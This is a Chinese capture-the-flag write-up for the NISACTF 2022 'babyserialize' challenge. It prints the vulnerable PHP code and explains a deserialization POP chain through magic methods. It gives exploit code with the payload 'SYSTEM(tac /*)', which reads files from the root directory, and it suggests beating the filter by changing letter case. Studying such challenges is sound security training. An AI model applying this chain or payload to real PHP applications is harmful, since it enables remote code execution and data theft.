[NISACTF 2022]babyserialize

NISACTF 2022babyserialize wp

题目代码:

复制代码
 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

首先回顾一下 php 全部魔术方法及其触发条件

复制代码
__construct()-- 在创建对象时调用,用于初始化对象的属性和方法。
__destruct() -- 在对象销毁时调用,用于释放资源和清理操作。
__call(args) -- 在调用一个不存在的方法时触发。
__callStatic(args) -- 在调用一个不存在的静态方法时触发。
__get($name) -- 在访问一个不存在的属性时触发。
__set(value) -- 在给一个不存在的属性赋值时触发。给私有属性,受保护属性赋值也能触发。
__isset($name) -- 在判断一个不存在的属性是否存在时触发。
__unset($name) -- 在销毁一个不存在的属性时触发。
__sleep() -- 在序列化一个对象时触发。
__wakeup() -- 在反序列化一个对象时触发。
__toString() -- 在将对象转换为字符串时触发。echo,print,die,strtolower等函数触发,还有弱比较 == 也能触发。
__invoke($args) -- 在将对象作为函数调用时触发。
__set_state($properties) -- 在使用var_export()导出类时触发。
__clone() -- 在将对象复制时触发。
__debugInfo() -- 在使用var_dump()函数打印对象时触发。

获取提示信息

直接传入一个序列化的 NISA 类的对象就可以触发,提示 flag 在根目录下。

根据这些,构造本题的 pop 链:

首先,eval 函数在 NISA 类的 __invoke() 方法中。

NISA 类的 __invoke() 方法在 Ilovetxw 类的 __toString() 方法中可以触发。只需要将 $bb() 赋值为 NISA 类的对象。

Ilovetxw 类的 __toString() 方法在 four 类的 __set 方法中可以触发。strtolower 函数在处理对象时会触发该对象的 __toString() 魔术方法,那么只需要将 $this->a 赋值为 Ilovetxw 类的对象。

four 类的 __set 方法在 Ilovetxw 类的 __call 方法中可以触发。将 $this->huang 赋值为 four 类的对象,那么 $this->huang->fun 将访问 four 类的私有属性 fun ,就会触发 __set 方法。

Ilovetxw 类的 __call 方法在 TianXiWei 类的 __wakeup() 方法中可以触发。只需将 $this->ext 赋值为 Ilovetxw 类的对象,那么 $this->ext->nisa($this->x) 就会访问对象中不存在的方法 nisa

最后,TianXiWei 类的 __wakeup() 方法在反序列化时触发。

由此,构造出以下代码:

复制代码
<?php
class NISA{
    public $fun = 'a';
    public $txw4ever = 'SYSTEM(tac /*)';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}

$demo = new TianXiWei;
$demo->ext = new Ilovetxw;
//$demo->x = "sixsixsix";
$demo->ext->huang = new four;
$demo->ext->huang->a = new Ilovetxw;
$demo->ext->huang->a->su = new NISA;
echo serialize($demo);

本题中,four 类的 __set 方法中的判断:if ($this->fun = "sixsixsix") 由于用的是一个等号,为赋值,故该表达式恒为真,所以没必要赋值 $demo->x = "sixsixsix";

NISA 类的 $fun 属性的值要改一下,避免触发提示。

本题中存在防火墙 waf.php ,用大小写绕过就好了。

相关推荐
两个人的幸福11 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo13 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack13 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820714 天前
PHP 扩展——从入门到理解
php
鹏仔先生15 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下15 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
treesforest15 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
xingpanvip15 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
零零信安15 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
上海云盾第一敬业销售15 天前
深入解析WAF的工作原理与机制
web安全·ddos